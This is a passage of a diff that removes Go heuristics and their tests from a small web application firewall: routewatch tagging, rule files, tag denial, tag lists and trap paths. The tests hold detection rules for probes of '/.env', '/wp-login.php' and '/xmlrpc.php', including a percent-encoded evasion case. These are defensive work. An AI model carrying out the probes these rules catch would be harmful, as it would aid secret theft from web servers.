func decodeFigures(t *testing.T, figures string) map[string]any {
t.Helper()
var decoded map[string]any
err := json.Unmarshal([]byte(figures), &decoded)
if err != nil {
t.Fatalf("decode %s: %v", figures, err)
}
return decoded
}
// microseconds is a timing in whole microseconds.
func microseconds(milliseconds float64) int64 {
return int64(math.Round(milliseconds * 1000))
}
internal/discriminator/routewatchtags.go
-42
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@@ -1,42 +0,0 @@
package discriminator
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
import (
"context"
"strconv"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
// from what routewatch answered about the client. It refuses nothing, and the
// request does not wait for routewatch. A request that gets no tags from it has
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
// is unset it does nothing. Answers are kept by client and asked for by the
// request's address, and a route without an origin AS gives only the prefix= tag.
type routeWatchTags struct{}
func (routeWatchTags) name() string { return "routewatch_tags" }
func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
if rq.h.routeWatch == nil {
return nil
}
route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
if missing != "" {
rq.line.RouteWatchTagsMissing = string(missing)
return nil
}
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
if route.ASN != 0 {
rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
}
return nil
}
internal/discriminator/routewatchtags_test.go
-245
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@@ -1,245 +0,0 @@
package discriminator_test
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"net/netip"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
// that says why a request got no tags from routewatch.
const (
routeWatchURL = "SWW_ROUTEWATCH_URL"
tagsMissing = "routewatch_tags_missing"
fromV6 = "2001:db8:1::5"
prefixV6 = "2001:db8::/32"
prefixDE = "203.0.113.0/24"
prefixKP = "198.51.100.0/24"
)
// standInRoute is what the stand-in for routewatch answers about an address.
type standInRoute struct {
Netblock string `json:"netblock"`
ASN int `json:"asn"`
}
// startRouteWatch starts a stand-in for routewatch's IP info API that knows the
// routes given by address, and returns its URL.
func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
t.Helper()
server := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
address := strings.TrimPrefix(r.URL.Path, "/api/v1/ip/")
result := map[string]any{"ip": address}
if route, known := routes[address]; known {
result["netblock"], result["asn"] = route.Netblock, route.ASN
}
_ = json.NewEncoder(w).Encode(map[string]any{
"status": "ok",
"data": map[string]any{"results": []any{result}},
})
}))
t.Cleanup(server.Close)
return server.URL
}
// waitForRouteWatch waits until routewatch's answer about from, in the client
// group of the given length, is kept, so that the next request gets its tags.
func waitForRouteWatch(
t *testing.T, server *discriminator.Server, from string, bits int,
) {
t.Helper()
addr := netip.MustParseAddr(from)
client := netip.PrefixFrom(addr, bits).Masked()
deadline := time.Now().Add(5 * time.Second)
for {
_, missing := server.RouteWatch.Route(context.Background(), client, addr)
if missing == "" {
return
}
if time.Now().After(deadline) {
t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
}
time.Sleep(time.Millisecond)
}
}
func wantTagsMissing(t *testing.T, line logLine, want string) {
t.Helper()
got, _ := line.fields[tagsMissing].(string)
if got != want {
t.Errorf("log line has %s %q, want %q", tagsMissing, got, want)
}
}
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
waitForRouteWatch(t, server, fromDE, 32)
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
wantTags(t, line, "asn=64496", "country=DE", "prefix="+prefixDE)
wantTagsMissing(t, line, "")
}
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
})
waitForRouteWatch(t, server, fromKP, 32)
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
}
func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 0}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url,
})
waitForRouteWatch(t, server, fromDE, 32)
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"prefix="+prefixDE)
}
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
if server.RouteWatch != nil {
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
}
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
if _, present := line.fields[tagsMissing]; present {
t.Errorf("log line has %s", tagsMissing)
}
if _, present := line.fields["tags"]; present {
t.Errorf("log line has tags %v", line.fields["tags"])
}
}
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
t.Parallel()
// A stand-in that is closed at once, so that the port refuses connections.
dead := httptest.NewServer(http.NotFoundHandler())
url := dead.URL
dead.Close()
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url,
})
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"no_answer_yet")
deadline := time.Now().Add(5 * time.Second)
for {
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
missing, _ := line.fields[tagsMissing].(string)
if missing == "request_failed" {
return
}
if time.Now().After(deadline) {
t.Fatalf("still %q, want request_failed", missing)
}
time.Sleep(time.Millisecond)
}
}
func TestAddressWithoutARouteHasNoTagsAndTheLineSaysSo(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: startRouteWatch(t, nil),
})
deadline := time.Now().Add(5 * time.Second)
for {
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
missing, _ := line.fields[tagsMissing].(string)
if missing == "no_route" {
return
}
if time.Now().After(deadline) {
t.Fatalf("still %q, want no_route", missing)
}
time.Sleep(time.Millisecond)
}
}
func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{
fromDE: {prefixDE, 64496}, fromKP: {prefixKP, 64511},
})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, tagDeny: "prefix=" + prefixKP,
})
waitForRouteWatch(t, server, fromKP, 32)
waitForRouteWatch(t, server, fromDE, 32)
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
tagLimitPercent: "prefix=" + prefixV6 + ":50",
})
waitForRouteWatch(t, server, fromV6, 64)
// Half of two is one: the second request breaks the limit.
line := s.get(fromV6, http.StatusOK, requestlog.ActionForward)
wantTags(t, line, "asn=64496", "prefix="+prefixV6)
s.get(fromV6, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
internal/discriminator/rulefiles.go
-62
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@@ -1,62 +0,0 @@
package discriminator
// The heuristic rule_files. It reads the rules of the rule files, which
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// ruleFiles checks the request against the rules of the rule files at now,
// notes the ids of those it matches in the log line, adds the tag
// exploitsignature when it matches any, and refuses the request
// when the last rule it matches refuses it: with ActionBlockedByBlockRule for a
// block rule, and for a ban rule with the action for the ban it makes. A ban
// rule bans the client's netblock for a clear sign of attack, or in observe
// mode raises the alert for the ban
// it would have made. Either rule's match is noted as an offence, for the
// client's history. Its figures are the rule's id and action.
type ruleFiles struct{}
func (ruleFiles) name() string { return "rule_files" }
func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
matched := rq.h.rules.Match(rq.in)
for _, rule := range matched {
rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
rq.h.metrics.RuleMatched(rule.ID, rule.Action)
}
if len(matched) == 0 {
return nil
}
rq.addTag(config.ExploitSignatureTag)
// Only the last rule matched can refuse the request.
last := matched[len(matched)-1]
figures := map[string]any{"rule_id": last.ID, "rule_action": last.Action}
switch last.Action {
case rules.ActionBlock:
rq.blockedByBlockRule = true
return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
case rules.ActionBan:
rq.attack = true
return &verdict{
action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
figures: figures,
}
default:
return nil
}
}
internal/discriminator/rulefiles_test.go
-270
View File
@@ -1,270 +0,0 @@
package discriminator_test
import (
"net/http"
"net/netip"
"os"
"path/filepath"
"reflect"
"slices"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// testRules are the rules most tests here load: a block rule for
// /blocked and a ban rule for /.env.
const testRules = `
blocked path block ^/blocked$
probe path ban ^/\.env$
`
func TestEachRuleAction(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
banResponse: "429",
})
start := clk.Now()
// A log rule notes its match, and lets the request through.
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line, "noted")
// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
// bans no one.
line = s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "noted", "blocked")
s.get(client, http.StatusOK, requestlog.ActionForward)
// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
// seven days, the default.
line = s.request(client, "/.env", http.StatusTooManyRequests,
requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line, "noted", "probe")
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "matched the rule probe",
Notes: bans.Notes{
RuleID: "probe",
Target: "path",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/.env",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
// The four requests up to and including the probe.
Requests: 4,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, without being checked
// against the rules, and makes the ban permanent.
clk.advance(time.Hour)
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
wantRuleIDs(t, line)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
clk.advance(365 * 24 * time.Hour)
s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
}
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
})
wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
"exploitsignature")
wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule), "exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
}
func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
})
line := s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`)
line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`)
}
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
attackBanDuration: "1h",
})
// The first probe bans for SWW_ATTACK_BAN_DURATION.
line := s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
// Once that ban has run out without a request, the client is served,
// and its next probe bans it for good.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestRulesComeAfterTheOtherChecks(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
allowNets: allowed,
rateLimitExemptNets: exempt,
rateLimitPerMinute: "1",
})
// A client in SWW_ALLOW_NETS is not checked.
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line)
// A probe over the rate limit breaks the limit before any rule sees
// it.
s.get(client, http.StatusOK, requestlog.ActionForward)
line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
wantRuleIDs(t, line)
limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(limitBan) != 1 || limitBan[0].Cause != bans.CauseLimit {
t.Errorf("bans %+v, want one for a broken limit", limitBan)
}
// A client the rate limits do not apply to is still checked.
s.get(exempt, http.StatusOK, requestlog.ActionForward)
s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
}
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
mode: observe,
})
line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "blocked")
line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line, "probe")
if line.BanExpires != "" {
t.Errorf("log line has ban_expires %q, want none", line.BanExpires)
}
// No ban was made.
line = s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, "")
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
metricsToken: token,
})
s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
metrics := s.scrape()
wantMetric(t, metrics,
`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
wantMetric(t, metrics,
`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+
`instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
}
// writeRules writes content as a rule file into a new directory, and
// returns the directory.
func writeRules(t *testing.T, content string) string {
t.Helper()
dir := t.TempDir()
err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
if err != nil {
t.Fatalf("write the rule file: %v", err)
}
return dir
}
// wantRuleIDs checks the request log line's rule_ids.
func wantRuleIDs(t *testing.T, line logLine, want ...string) {
t.Helper()
if !slices.Equal(line.RuleIDs, want) {
t.Errorf("log line has rule_ids %v, want %v", line.RuleIDs, want)
}
}
internal/discriminator/tagdeny.go
-30
View File
@@ -1,30 +0,0 @@
package discriminator
// The heuristic tag_deny. It reads SWW_TAG_DENY.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
// the first such tag, in sorted order.
type tagDeny struct{}
func (tagDeny) name() string { return "tag_deny" }
func (tagDeny) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, tag := range rq.line.Tags {
if slices.Contains(rq.h.config.TagDeny, tag) {
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"tag": tag},
}
}
}
return nil
}
internal/discriminator/tagdeny_test.go
-124
View File
@@ -1,124 +0,0 @@
package discriminator_test
import (
"net/http"
"testing"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
t.Parallel()
// The setting takes a country code in either case; the request's tag is
// in capitals.
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
wantTags(t, line, "asn=64511", "country=KP")
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagDenyRefusesAnASNTag(t *testing.T) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "asn=64511"}`)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "torexit=" + torList, tagDeny: "torexit", rateLimitPerMinute: "1",
})
loadLists(t, server, map[string][]string{torList: {fromDE}})
// Each is refused for its tag: none is counted to break the limit of one.
for range 3 {
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "torexit"}`)
}
}
func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
t.Parallel()
const mixedCaseZone = "DNSBL.example"
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
s, server, _ := startWithLookups(t, map[string]string{
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
})
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
}
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
})
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
wantTags(t, line, "exploitsignature")
}
func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute,
tagLists: "vpn=" + vpnList + ",tor=" + torList,
tagLimitPercent: "vpn:50,tor:25",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
// A quarter of 4 requests a minute: the second breaks the limit.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"25 from "+tagLimitPercent)
}
func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
bytesLimitPerMinute: twoUploads,
tagLists: "vpn=" + vpnList,
tagLimitPercent: "vpn:50",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE}})
// The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(fromDE)
if line.LimitHit != minuteBytes {
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
"50 from "+tagLimitPercent)
// fromKP, which the list does not hold, has the whole limit.
line = s.uploadFrom(fromKP)
if line.LimitHit != "" {
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
}
wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
}
internal/discriminator/taglists.go
-24
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@@ -1,24 +0,0 @@
package discriminator
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
// the reputation lists.
import (
"context"
"time"
)
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
// holds the client, the tag being the list's name. It refuses nothing, and runs
// first so that every refusal's log line carries these tags.
type tagLists struct{}
func (tagLists) name() string { return "tag_lists" }
func (tagLists) check(_ context.Context, rq *request, _ time.Time) *verdict {
for _, name := range rq.h.lists.TagsOf(rq.client) {
rq.addTag(name)
}
return nil
}
internal/discriminator/taglists_test.go
-100
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@@ -1,100 +0,0 @@
package discriminator_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
const (
tagLists = "SWW_TAG_LISTS"
vpnList = "https://lists.example/vpn.txt"
torList = "https://lists.example/torexit.txt"
)
// wantTags checks the log line's tags.
func wantTags(t *testing.T, line logLine, want ...string) {
t.Helper()
got, _ := line.fields["tags"].([]any)
tags := make([]string, 0, len(got))
for _, tag := range got {
text, _ := tag.(string)
tags = append(tags, text)
}
if !slices.Equal(tags, want) {
t.Errorf("log line has tags %v, want %v", tags, want)
}
}
func TestLookupAndTagListsGiveTheRequestItsTagsSorted(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=mullvad=" + vpnList + ",TorExit=" + torList,
})
loadLists(t, server, map[string][]string{
vpnList: {fromDE}, torList: {fromDE + "/32", fromKP},
})
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"asn=64496", "country=DE", "torexit", "vpn=mullvad")
wantTags(t, s.get(fromKP, http.StatusOK, requestlog.ActionForward),
"asn=64511", "country=KP", "torexit")
}
func TestRequestWithoutATagLeavesTheFieldOut(t *testing.T) {
t.Parallel()
// With no lookup, a client is not placed and no setting gives it a tag.
s, _, _ := startWithClock(t, "", map[string]string{lookupSource: "off"})
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
if _, present := line.fields["tags"]; present {
t.Errorf("log line has tags %v, want none", line.fields["tags"])
}
}
func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=" + vpnList, allowedCountries: "de",
})
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
"asn=64511", "country=KP", "vpn")
}
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
tagLists: "vpn=" + vpnList, denyNets: fromKP, rateLimitPerMinute: "1",
})
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
if line.Heuristic != "deny_nets" {
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
}
wantTags(t, line, "vpn")
// The second request breaks the limit of one a minute, which bans the client.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.Heuristic != "active_ban" {
t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
}
wantTags(t, line, "vpn")
}
internal/discriminator/trappaths.go
-37
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@@ -1,37 +0,0 @@
package discriminator
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
import (
"context"
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
// path rule sees it, without the query, as sent or once percent-decoded, is one
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
// it bans the client's netblock, or in observe mode raises the alert for the
// ban it would have made. The ban's notes give the path as sent, and so does
// its figure.
type trapPaths struct{}
func (trapPaths) name() string { return "trap_paths" }
func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
return nil
}
rq.attack = true
return &verdict{
action: rq.banForAttack(now, bans.Notes{TrapPath: path}),
figures: map[string]any{"path": path},
}
}
internal/discriminator/trappaths_test.go
-142
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@@ -1,142 +0,0 @@
package discriminator_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWW_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, the whole of it in the same case, is a trap
// path.
for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWW_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
}
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
// %2577 decodes once to %77, not to w.
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
s.request(client, "/%77p-login.php", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
// The ban's notes give the path as the client sent it.
